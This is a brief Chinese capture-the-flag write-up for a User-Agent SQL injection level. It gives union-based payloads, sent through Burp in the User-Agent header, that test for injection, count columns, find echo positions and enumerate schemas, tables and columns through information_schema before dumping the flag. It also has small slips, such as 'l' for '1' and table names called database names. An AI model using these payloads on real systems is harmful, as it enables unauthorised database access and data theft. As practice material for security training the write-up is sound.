目录
判断是否存在注入
判断字段数量
判断回显位置
查询数据库名
查询数据库下的表名
查询表中的字段名
查询字段名下的数据
由于本关是UA注入,就不浪费时间判断是什么注入了,在该页面使用 burp工具 抓包,修改User-Agent,加上SQL语句,然后放包,就可以在题目页面显示结果
判断是否存在注入
1 and 1=1
1 and 1=2
发现页面报错
判断字段数量
1 order by 1
1 order by 2
1 order by 3
发现页面报错,可以确定字段数量是2
判断回显位置
-1 union select 1,2
发现两个字段都可以回显
查询数据库名
-1 union select l,group_concat(schema_name) from information_schema.schemata
查询数据库下的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
发现两个数据库名olqgtrtcwu和news
查询表中的字段名
我们先查询olqgtrtcwu表
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'olqgtrtcwu'
发现了字段名tdvmulycem
查询字段名下的数据
-1 union select 1,group_concat(tdvmulycem) from olqgtrtcwu
发现了本题的flag